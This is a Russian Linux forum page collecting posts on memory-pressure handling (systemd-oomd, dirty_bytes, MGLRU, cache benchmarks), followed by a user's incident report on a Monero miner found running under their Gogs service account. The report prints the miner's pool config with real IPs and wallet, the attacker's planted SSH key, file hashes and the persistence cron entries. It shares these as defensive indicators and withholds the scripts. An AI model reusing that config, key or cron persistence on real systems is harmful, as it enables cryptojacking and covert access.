LINUX.ORG.RU

Избранные сообщения hakavlad

В UBUNTU 22.04 включат systemd-oomd по умолчанию

Форум — General

Ubuntu 22.04 LTS будет использовать systemd-oomd для улучшения работы при нехватке памяти или при сильном давлении на память в дистрибутиве Linux.

Ubuntu теперь является последним дистрибутивом Linux, поставляемым с systemd-oomd для улучшения поведения Linux при низкой доступности оперативной памяти. Ubuntu строится на интеграции systemd-oomd Debian. Systemd-oomd запускается до того, как в ядре Linux появится убийца ООМ, и пакет Ubuntu полагается на конфигурацию по умолчанию. По умолчанию это настраиваемое ограничение составляет 20 секунд, а для пользовательских сеансов - 50%.

Те, кто использует ежедневные сборки Ubuntu 22.04 LTS, теперь могут просто установить systemd-oomd. Для апрельской версии Ubuntu 22.04 LTS планируется включить systemd-oomd по умолчанию для рабочего стола Ubuntu, но сегодня это изменение не действует. По крайней мере, для Ubuntu с GNOME рабочий стол уже может запускать приложения в отдельных группах (v2) для отслеживания с помощью systemd-oomd. Другие версии Ubuntu также могут выбрать systemd-oomd по умолчанию.

https://www.phoronix.com/scan.php?page=news_item&px=Ubuntu-22.04-Systemd-OOMD

 ,

hakavlad
()

Система тормозит при копировании с nvme ssd на hdd

Форум — Linux-hardware

При копировании больших файлов (десятки гб) с nvme ssd на hdd буквально все начинает лагать и тормозить.

С тех пор как у меня были проблемы с ssd от ADATA, я поменял его на Kingston KC2500. Но окончательно проблемы с производительностью не устранились.

Debian 11.

Обновление

Пока что помогло (сразу сняло проблему)

echo 64000000 > /proc/sys/vm/dirty_bytes

и добавление (для следующих загрузок)

vm.dirty_bytes=64000000

в /etc/sysctl.conf по совету Анонимуса. Спасибо!

 , , , ,

metaprog
()

Тестируем Linux 5.12—5.17 с патчем Multigenerational LRU Framework

Форум — General

Новость о патче: https://www.opennet.ru/opennews/art.shtml?num=54972

Пришло время тестировать ядро с этим патчем. Патч принят в linux-zen, и соответственно буду тестировать zen-kernel-5.12.4-zen1.

TLDR;

  • OOMK Killer приходит даже с еще большей задержой, чем при отключении multigen LRU;
  • работа vm.swappiness сломана;
  • работа vm.watermark_scale_factor сломана;
  • при включении multigen LRU не работают эффекты патча le9 [1], обеспечивающего защиту чистого кэша файлов.

Подробности далее.

[1] https://github.com/hakavlad/le9-patch

Призывается @post-factum

 ,

hakavlad
()

Имел неосторожность посерфить инет со слабого ноута [теория тупости]

Форум — Talks

Одноядерный Celeron 2 ГГц образца эдак 2010 года, аш целых 4 Гб оперативы — для своего времени это был достойный экземпляр с солидным временем автономной работы. В свое время на ноуте писался код, игралась дота и CS, смотрелся ютьюб и твитч. В 2022 году я попытался посмотреть трансляцию, зайти в фейсбук — мамачки, даже ссаный фейсбук довольно неспешно перекатывается в браузере. Как там разрабы реакта говорили... «fast enough»? Они только не добавили, что «fast enough for 4 cores and 16 Gb RAM». Вся эта реактная параша просто не работает. В принципе, я это знал, но я просто не подозревал, насколько всё плохо, НАСКОЛЬКО ВСЁ ПЛОХО. И самое страшное то, что совсем недавно я примерно это же и писал, только не на реакте, а не Vue. Пошёл ставить свечку и молиться. С новым годом. Мы все умрём.

 , , ,

byko3y
()

times2log 0.1.0 — монитор процессорного времени

Новости — Open Source
Группа Open Source

Состоялся первый выпуск проекта times2log, предназначенного для мониторинга и логирования процессорного времени, используемого выбранным процессом. Код открыт под лицензией CC0 (общественное достояние).

times2log представляет из себя Python скрипт, периодически проверяющий /proc/[PID]/stat указанного процесса для учета utime и stime.

times2log выводит (и опционально логирует в указанный файл) пользовательское и системное время процесса за указанный интервал времени (2 секунды по умолчанию).

Перед началом мониторинга выполняется mlockall() для бесперебойной работы процесса в условиях нехватки памяти.

Пример вывода:

$ times2log -p `pidof kswapd0`
Process memory locked with MCL_CURRENT | MCL_FUTURE | MCL_ONFAULT
PID: 93, Name: kswapd0, interval: 2s, SC_CLK_TCK: 100
============================================================
       user    |      system    |        total    | interval
-------------- | -------------- | --------------- | --------
   0 t,   0.0% |    0 t,   0.0% |     0 t,   0.0% | 2.0s
   0 t,   0.0% |    0 t,   0.0% |     0 t,   0.0% | 2.0s
   0 t,   0.0% |    0 t,   0.0% |     0 t,   0.0% | 2.0s
   0 t,   0.0% |    0 t,   0.0% |     0 t,   0.0% | 2.0s
   0 t,   0.0% |  161 t,  80.4% |   161 t,  80.4% | 2.0s
   0 t,   0.0% |  199 t,  99.4% |   199 t,  99.4% | 2.0s
   0 t,   0.0% |  197 t,  98.4% |   197 t,  98.4% | 2.0s
   0 t,   0.0% |  198 t,  98.9% |   198 t,  98.9% | 2.0s
   0 t,   0.0% |  150 t,  74.9% |   150 t,  74.9% | 2.0s
   0 t,   0.0% |  157 t,  78.4% |   157 t,  78.4% | 2.0s
   0 t,   0.0% |  197 t,  98.4% |   197 t,  98.4% | 2.0s
   0 t,   0.0% |   29 t,  14.5% |    29 t,  14.5% | 2.0s
   0 t,   0.0% |    0 t,   0.0% |     0 t,   0.0% | 2.0s
   0 t,   0.0% |    0 t,   0.0% |     0 t,   0.0% | 2.0s
   0 t,   0.0% |    0 t,   0.0% |     0 t,   0.0% | 2.0s
   0 t,   0.0% |    0 t,   0.0% |     0 t,   0.0% | 2.0s
^C--
Times for the last 32.2s:
  user:   0 ticks (0.0s), avg: 0.0%
  system: 1288 ticks (12.9s), avg: 40.0%
  total:  1288 ticks (12.9s), avg: 40.0%

Учет времени ведется в тиках и в процентах от пройденного интервала времени. При завершении работы (после получения сигнала SIGINT, SIGTERM, SIGQUIT или SIGHUP) times2log выводит итоговую статистику за все время мониторинга.

>>> Подробности

 

hakavlad
()

cache-bench 0.2.0 — инструмент для исследования эффективности кэширования файлов

Новости — Open Source
Группа Open Source

Спустя 7 месяцев после предыдущего релиза состоялся релиз cache-bench 0.2.0.

cache-bench — это Python-скрипт, позволяющий оценить влияние настроек виртуальной памяти (vm.swappiness, vm.watermark_scale_factor, Multigenerational LRU Framework и прочих) на производительность выполнения задач, требующих кэширования файловых операций чтения, особенно в условиях нехватки памяти. Код передан в публичное достояние (CC0).

Код скрипта в версии 0.2.0 почти полностью переписан. Теперь вместо чтения файлов из указанной директории (в новой версии опция -d удалена) производится чтение из одного файла фрагментами указанного размера в случайном порядке.

Добавлены опции:

  • --file – путь к файлу, из которого будет производиться чтение;
  • --chunk – размер фрагмента в кибибайтах, по умолчанию 64;
  • --mmap – читать из memory-mapped файлового объекта вместо чтения из файлового дескриптора;
  • --preread – перед началом теста предварительно прочитать (кэшировать) указанный файл путем последовательного чтения фрагментами размером 1 МиБ;
  • --bloat – добавлять считываемые фрагменты в список с целью увеличения потребления памяти процессом и создания в дальнейшем нехватки памяти;
  • --interval – интервал вывода (логирования) результатов в секундах.

Примеры использования можете найти на странице проекта.

>>> Подробности

 , ,

hakavlad
()

Выпуск r-test v0.1.0 — инструмента для исследования эффективности кэширования файлов при нехватке памяти

Новости — Open Source
Группа Open Source

r-test - это Python скрипт, позволяющий оценить влияние настроек виртуальной памяти (vm.swappiness, vm.watermark_scale_factor, Multigenerational LRU Framework и прочих) на производительность выполнения задач, выполнение которых зависит от кэширования файловых операций в условиях нехватки памяти. Код открыт под лицензией CC0.

Основной способ использования - считывание файлов из указанной директории в случайном порядке и их добавление в список, пока не будет считано заданное число мебибайт.

Имеет два режима работы. Первый - вспомогательный - служит для создания директории заданного объема. При этом в директории создается заданное число мебибайтных файлов со случайными именами.

Второй режим - основной - режим чтения файлов из указанной директории в случайном порядке. Во время чтения растет объем потребляемой скриптом памяти, а скорость считывания заданного объема файлов зависит от объема кэшированных файловых страниц.

Частью проекта также является вспомогательных скрипт drop-cache, который рекомендуется выполнять перед началом теста.

В процессе работы скрипта в режиме чтения выводится общее время работы, средняя скорость чтения, имя последнего считанного файла.

Скрипт также позволяет логировать результаты в файл. Пример лога:

2021-05-30 21:47:56,084: mkdir testdir1
2021-05-30 21:47:56,211: written testdir1/0.9860985015646311; total size: 1M
2021-05-30 21:47:56,289: written testdir1/0.0691916965192153; total size: 2M
2021-05-30 21:47:56,377: written testdir1/0.27868153831296383; total size: 3M
2021-05-30 21:47:56,455: written testdir1/0.7341114648416274; total size: 4M
2021-05-30 21:47:56,533: written testdir1/0.5363495159203434; total size: 5M
2021-05-30 21:47:56,533: OK
2021-05-30 21:48:23,193: found 5 regular files in testdir1, total size: 5.0M
2021-05-30 21:48:23,199: setting self oom_score_adj=1000
2021-05-30 21:48:23,199: reading files from the directory testdir1
2021-05-30 21:48:23,229: read 1.0M (20.0%) in 0.0s (avg 32.9M/s); file 0.7341114648416274
2021-05-30 21:48:23,296: read 2.0M (40.0%) in 0.1s (avg 20.8M/s); file 0.0691916965192153
2021-05-30 21:48:23,298: read 3.0M (60.0%) in 0.1s (avg 30.3M/s); file 0.0691916965192153
2021-05-30 21:48:23,299: read 4.0M (80.0%) in 0.1s (avg 40.1M/s); file 0.7341114648416274
2021-05-30 21:48:23,352: read 5.0M (100.0%) in 0.2s (avg 32.6M/s); file 0.27868153831296383
2021-05-30 21:48:23,353: --
2021-05-30 21:48:23,353: read 5.0M in 0.2s (avg 32.6M/s); src: 5 files, 5.0M
2021-05-30 21:48:23,354: OK

>>> Подробности

 , ,

hakavlad
()

Линукс ядро не может мягко обрабатывать ситуации с нехваткой памяти

Форум — Talks

На Reddit уже почти полтысячи комментариев по поводу проблемы в Линукс ядре: оно не может мягко обрабатывать ситуации с нехваткой памяти.

Оригинальное сообщение в LKML:

Известен баг, который донимает множество людей на протяжении многих лет и который можно воспроизвести меньше, чем за несколько минут на последней версии ядра 5.2.6. Все параметры ядра установлены в значения по умолчанию.

Шаги:

1) Загружаемся с параметром mem=4G
2) Выключаем поддержку swap (sudo swapoff -a)
3) Запускаем любой веб браузер, например, Chrome/Chromium или/и Firefox
4) Начинаем открывать вкладки с сайтами и смотрим как уменьшается объём свободной памяти

Как только возникает ситуация, что новая вкладка требует больше оперативной памяти, чем доступно, система практически полностью зависает. Вы даже с трудом сможете двигать курсором мыши. Индикатор жёсткого диска будет моргать без остановки (мне не ясно почему). Вы не сможете запустить новые приложения или закрыть текущие запущенные.

Этот маленький кризис может продолжаться минуты или дольше. Я предполагаю, что система не так должна себя вести в этой ситуации. Я думаю, что что-то нужно сделать, чтобы избежать такие «зависания».

Я почти уверен, что можно поменять некоторые параметры sysctl, чтобы избежать подобную ситуацию, но что-то подсказывает, что это можно сделать по умолчанию для всех, потому что нетехнические пользователи, столкнувшись с такой проблемой, просто откажутся от использования Линукс и им будет не того, чтобы искать решения в Google.

В комментариях Reddit некоторые пользователи предлагают включить swap, но это не решает проблему, а только её отодвигает и часто усугубляет.

Подробности

Перемещено Shaman007 из linux-general

 , , ,

anonymous
()

Всероссийский im-кирдык в 2018

Форум — Talks

https://sohabr.net/gt/post/295969/

Генпрокурор России Юрий Чайка сегодня заявил о том, что с 1 января 2018 года в России будет запрещено анонимно пользоваться мобильными мессенджерами. «Услуги по передаче мгновенных сообщений будут предоставляться исключительно пользователям, идентифицированным на основании абонентского номера и соответствующего договора», — сказал он.

А если у меня на телефоне ssh который коннектится к домашнему ПК с toxic/mcabber - это считается за «мобиный мессенджер»?

 , в интернет по паспорту, , ,

Deleted
()

АХТУНГ: Пишу из горящего танка , ко мне на linux ПК влез майнер!

Форум — Security

GOGS НАВЕРНОЕ НЕ ВИНОВААААТ!!!!!!!!!!!!! UPDATE3 НИЖЕ!!!!!!! Я ЛОХХХХХХХХХ :D

Подробности чуть попозже я сейчас аудит аудитаю. Сеть включил только что-бы отписать, сейчас вырублю.

Суть у меня от отдельного пользователя по имени gogs был запущен сервис gogs через systemd https://i.ibb.co/qpthFzW/20210913040630-494x376.png не так давно мне приспичило перезагрузить комп ибо я забыл на проце виртулизацию активировать, и после включения и поднятия гогса 3 ядра проца зависли на 100% я увидал это https://i.ibb.co/GWB9Qwz/20210913033655-1408x93.png погрепал нашёл это https://i.ibb.co/bsKhpD5/20210913040047-507x381.png

В логал скрипты долбились во всё, но остались под пользователем gogs. Процессы (там ещё были) я не убил, а приостановил. Хороче сейчас всё проверю и вернусь.

Почему гогс? Да потому что он запускался от отдельного пользователя и кроме настроенного gogs там ничего нет. У меня сейчас скрипты, ssh ключ публичный который прописался вместо того что был, бинарник этой хрени и логи немного. Я хз куда скидывать эту гадость, да и скидывать ли?

UPDATE

И так сегодня ночью я перезагрузил ПК. Обнаружил что 3 ядра процессора заняты на 100% увидев запущенный процесс ./kswapd0 запущенный от пользователя gogs которого я создал что-бы от его имени запускалась git вебморда одноимённого проекта.

Все процессы от имени пользователя gogs я приостановил, отключил все сетевые соединения и погасил интерфейсы eth0,wlan0

Cверил /etc с бекапом по sha512 всё прежнее, на месте, обновлённое проверил глазами, никаких прописанных кронов и сервисов нет.

Все файлы из пользователя gogs скопировал в отдельный каталог для изучения. Запущенные процессы не имели открытых файлов поэтому там изучать нечего я их просто убил. Так же вычистил всё что-было связано с пользователем gogs и затем удалил его самого. Всё. Проверил свой хомяк, левых бинарей у меня нет. ssh по ключам. Никакой активности всё штатно. Эта вода что-бы не отвечать на вопросы, а ты это, а ты то.

И так, запустил я компуктер и запустился гогс сервер (а я реееедко перезагружаюсь) Его лог на момент запуска.

2021/09/13 00:17:31 [TRACE] Doing: MirrorUpdate
2021/09/13 00:27:31 [TRACE] Doing: MirrorUpdate
2021/09/13 00:31:38 [TRACE] Log Mode: File (Trace)
2021/09/13 00:31:38 [ INFO] Gogs 0.11.53.0603
2021/09/13 00:31:38 [ INFO] Cache Service Enabled
2021/09/13 00:31:38 [ INFO] Session Service Enabled
2021/09/13 00:31:38 [ INFO] Git Version: 2.33.0
2021/09/13 00:31:38 [TRACE] Doing: CheckRepoStats
2021/09/13 00:31:38 [ INFO] SQLite3 Supported
2021/09/13 00:31:38 [ INFO] Run Mode: Production
2021/09/13 00:31:39 [ INFO] Listen: http://0.0.0.0:3000
2021/09/13 00:31:58 [TRACE] Log Mode: File (Trace)
2021/09/13 00:31:58 [ INFO] Gogs 0.11.53.0603
2021/09/13 00:31:58 [ INFO] Cache Service Enabled
2021/09/13 00:31:58 [ INFO] Session Service Enabled
2021/09/13 00:31:58 [ INFO] Git Version: 2.33.0
2021/09/13 00:31:58 [ INFO] SQLite3 Supported
2021/09/13 00:31:58 [ INFO] Run Mode: Production
2021/09/13 00:31:58 [TRACE] Doing: CheckRepoStats
2021/09/13 00:31:58 [TRACE] Log Mode: File (Trace)
2021/09/13 00:31:58 [ INFO] Gogs 0.11.53.0603
2021/09/13 00:31:58 [ INFO] Cache Service Enabled
2021/09/13 00:31:58 [ INFO] Session Service Enabled
2021/09/13 00:31:58 [ INFO] Git Version: 2.33.0
2021/09/13 00:31:58 [ INFO] SQLite3 Supported
2021/09/13 00:31:58 [ INFO] Run Mode: Production
2021/09/13 00:31:58 [TRACE] Doing: CheckRepoStats
2021/09/13 00:31:58 [ INFO] Listen: http://0.0.0.0:3000
2021/09/13 00:41:58 [TRACE] Doing: MirrorUpdate

Во время его работы были созданы файлы с датой создания Пн 13 сен 2021 00∶31∶38 в каталоге ./configrc

.configrc$ ls -lAR
.:
итого 16
drwxrwxrwx 2 1002 1002 4096 сен 13 05:44 a
drwxrwxrwx 2 1002 1002 4096 сен 13 05:44 b
-rwxrwxrwx 1 1002 1002  271 сен 13 00:31 cron.d
-rwxrwxrwx 1 1002 1002   21 сен 13 00:31 dir2.dir

./a:
итого 2820
-rwxrwxrwx 1 1002 1002     876 сен 13 00:31 a
-rwxrwxrwx 1 1002 1002       1 сен 13 02:44 bash.pid
-rwxrwxrwx 1 1002 1002      23 сен 13 02:44 dir.dir
-rwxrwxrwx 1 1002 1002    9568 сен 13 00:31 init0
-rwxrwxrwx 1 1002 1002 2843144 сен 13 00:31 kswapd0
-rwxrwxrwx 1 1002 1002      10 сен 13 05:44 .procs
-rwxrwxrwx 1 1002 1002     226 сен 13 00:31 run
-rwxrwxrwx 1 1002 1002     700 сен 13 00:31 stop
-rwxrwxrwx 1 1002 1002     202 сен 13 00:31 upd

./b:
итого 84
-rwxrwxrwx 1 1002 1002 11634 сен 13 05:44 1
-rwxrwxrwx 1 1002 1002   157 сен 13 00:31 a
-rwxrwxrwx 1 1002 1002    23 сен 13 00:31 dir.dir
-rwxrwxrwx 1 1002 1002 50935 сен 13 00:31 run
-rwxrwxrwx 1 1002 1002  6004 сен 13 00:31 stop
-rwxrwxrwx 1 1002 1002    42 сен 13 00:31 sync

Внутри видно kswapd0 который и был запущен. Это бинарь упакованый. Внутри майнер xmrig c вшитым конфигом вот такого содержания

            "algo": null,
            "coin": "monero",
            "url": "[2a0e:fa00:0:5::1]:80",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
         },
         {
            "algo": null,
            "coin": "monero",
            "url": "[2a0e:fa00:0:5::1]:443",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
         },
   	 {
            "algo": null,
            "coin": "monero",
            "url": "debian-package.center:80",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.125:80",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.125:443",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.129:80",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.129:443",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.117:80",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.117:443",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.58:80",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.58:443",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.59:80",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.59:443",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        }
    ],
    "print-time": 60,
    "health-print-time": 60,
    "retries": 1,
    "retry-pause": 3,
    "syslog": false,
    "user-agent": null,
    "watch": true,
    "pause-on-battery": false
}

Сам бинарник публиковать не буду.

Одним из скриптов был удалён и вновь создан каталог .ssh с содержимым.

.ssh/authorized_keys

ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr

SHA512 всех этих файлов

1ba854c321d89441291da2638d65748ffa06923a63fd2bb9be8a66440236503fb34e375726a8da679b55ced51dda82293ffcfb8bb76563e2da0071222d3247bf  .ssh/authorized_keys

3567d8d553d42e4450683126ac7beac5c5e713091b20aaf28040d91bfebe19b0431588d7c34e4a3d5c6e4f7af45e1ccce7654e730c0512c0c5c5d28be548cb24  .configrc/cron.d

ee8c0f03fa194321a0a8324418ba3204b06323a424b295b514213e90aa656a47d76e2f81074d46ccddd7801276de7d5665a3bbd770507dc6425e697b5bc97c95  .configrc/dir2.dir

f26bcbdcf7417308bdec3f3f8b6ef453d2b7417b16d015eeddfc447955068b48667554fd9a1b896ee9d44ac3c2cac54137fc455c45f94251f42e5e3a1e7b6230  .configrc/a/a

be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09  .configrc/a/bash.pid

1bc338f3ed46c8623a6a6e871d71a7641d7daa5494b2502523c21f1d5af097ada2c441bf12f222a3d61dc7169494693635ea14200faabae6993781c16167abac  .configrc/a/dir.dir

8ff2784f8437875a8b388d3f0d7eaf4b9d98c2374aafbd33df19f1255842889caf9bdafb55c5f9ac5e937624aae58fc1845134335916f79648e8a5d4de077d79  .configrc/a/init0

ede860bbec1a47a971a5bcfd024a9e338b2fdfe407df00b0cd0f4e436e3175d31f68964605b351abc3784d5c9046cd00189b7b3a82359cfeb1081b5d85cd6dda  .configrc/a/kswapd0

a7b00698bf4d74c154ea4fdc1b76eae4ca6319189d63354a77f2a813ae248d36b16154f6f3d7f9ae3d5fa84e882e7476b02f1870fde3f3251f3d4f4733cc0a22  .configrc/a/run

b8bc24b9ea7b26e18bb26c9b1887f600142d5f283f074d64db72a9fea551f754904b1c8e93cb58282eb08fec5b03730ab66351526567a39c78f57648af40bc3f  .configrc/a/stop

fdceef26293c927036bec874457fd8e7a7baa94188a8f8720aeed5e2041ee412eee8731a1df1ce17b5d35ed47e0c39828156db78af6e0134f4e7bcebf5557e7a  .configrc/a/upd
 
91da308e50e177c9b7df28d4feaf6d9a20593d997bdbde232110216b7d346a39197960f4d342d3b9a7498ed68018cd375cfab22245ec4d7ab03fcab56753d862  .configrc/a/.procs

95305080f1dc993c89dde01138a2b915e20201bf6bdd7595393708b72d2b75abd376ac0c4df53fc72e33555294cedf60f3c702ad72bb3f8d5d461c2e42f26da1  .configrc/b/1

21d49249ca656d3f6ce7a77876796590ae66d31963a6cdf65bb294ca45372e68686f8f7fd846035ed53f1155962447a8054bf2ea081e02fbb4b3fa1b6e376881  .configrc/b/a

a99d5a12ce0e3d4fe1b8606200376b239bfe668353a2402f45eccd61c33451a466f663fe0c5817b41c2e748f69f36dece3b1887a7f290b0e5375abc9c47c1dad  .configrc/b/dir.dir

0dc180b53574dce4de4160c54810a019edae1828f0cc6c1513a3dac7173833e41d19cc9a81b762136e37a7c578a43508f076a8fa9fc9ff919a0748f259d431fe  .configrc/b/run

cd1c489afdcd9a02a05401e803e238417e2421b7f43b93b25b882d2bd005ff2e4ae61f3bd47aaa5577d9c3573c34dfe7ee6801abdc16bfe38c70550c97358f2a  .configrc/b/stop

3b196433e2d0c57946d61512b004e14c46e1207d3de5a0dcbaa62966b98449c08c3074d29cf0211648a26db2298caa4af294c69dcd8ab4cf4ec16dda14d23bf0  .configrc/b/sync

Есть лог вот с таким сорержимым https://pastebin.com/5LyB7pP9

Внутри скриптов немного логики, определение процессора, много base64 строк, это бинарники которые скрипты восстанавливают если надо.

От пользователя отдельного этого запускался только gogs в автоматическом режиме, всё. Я считаю виноват гогс.

./gogs --version
Gogs version 0.11.53.0603
sha512sum ./gogs 
c7a5541cd03fdc69b12c714be32ba6d6e8fdad5af42b865a3cd1d333db6cba0130130399b6a8283dacab3794ff1b359e865fe47085633cb892d6119f6642603f  ./gogs

Хотел залить куда то вдруг кому покопать интересно, но в этом смысла нет, можно просто скачать нужную версию и проверить хеш, если совпало значит оно.

Конфиг был такой

APP_NAME = Gogs
RUN_USER = gogs
RUN_MODE = prod

[database]
DB_TYPE  = sqlite3
HOST     = 127.0.0.1:3306
NAME     = gogs
USER     = root
PASSWD   = 
SSL_MODE = disable
PATH     = /home/gogs/gogs/data/gogs.db

[repository]
ROOT = /home/gogs/gogs-repositories

[server]
DOMAIN           = localhost
HTTP_PORT        = 3000
ROOT_URL         = http://localhost:3000/
DISABLE_SSH      = false
SSH_PORT         = 22
START_SSH_SERVER = false
OFFLINE_MODE     = false

[mailer]
ENABLED = false

[service]
REGISTER_EMAIL_CONFIRM = false
ENABLE_NOTIFY_MAIL     = false
DISABLE_REGISTRATION   = true
ENABLE_CAPTCHA         = false
REQUIRE_SIGNIN_VIEW    = true

[picture]
DISABLE_GRAVATAR        = false
ENABLE_FEDERATED_AVATAR = false

[session]
PROVIDER = file

[log]
MODE      = file
LEVEL     = Info
ROOT_PATH = /home/gogs/gogs/log

[security]
INSTALL_LOCK = true
SECRET_KEY   = AHYsdf2GIsqRJkD

Собственно вот и всё. Можно ещё написать подробностей, но мне спать хоца. Гланое хеши выложил и основную инфу, кому надо смогут проверить нет ли у них такой параши.

Сравнил ещё через diff -qr никаких различий в gogs у меня и тут https://github.com/gogs/gogs/releases/tag/v0.11.53 linux_amd64.tar.gz нет. Не считая мною созданных файлов и иного созданного в процессе работы. Там я всё глазами проверил всё чисто.

Подытожу. Был скачан gogs настроен как в конфиге выше, для него был создан пользоваьтель gogs в домешнем каталоге которого и находился исполняемый файл, был написан юнит как на скрине выше который запускался при старте системы. Всё. До этого всё нормально было и работало, но после перезагрузки от пользователя gogs создались файлы и запустили майнер.

Скрипты я публиковатьк как сказал не буду что-бы мамкиным какерам не давать инструменты. Но скажу, оно прописывает пользоватю задачу в cron которая располагалась в /var/spool/cron/crontabs/gogs

1 1 */2 * * /home/gogs/.configrc/a/upd>/dev/null 2>&1
@reboot /home/gogs/.configrc/a/upd>/dev/null 2>&1
5 8 * * 1 /home/gogs/.configrc/b/sync>/dev/null 2>&1
@reboot /home/gogs/.configrc/b/sync>/dev/null 2>&1  
0 */23 * * * /tmp/.X25-unix/.rsync/c/aptitude>/dev/null 2>&1

ОБРАТИТЕ ВНИМАНИЕ НА ПОСЛЕДНЮЮ СТРОЧКУ Если вы проверяете у себя.

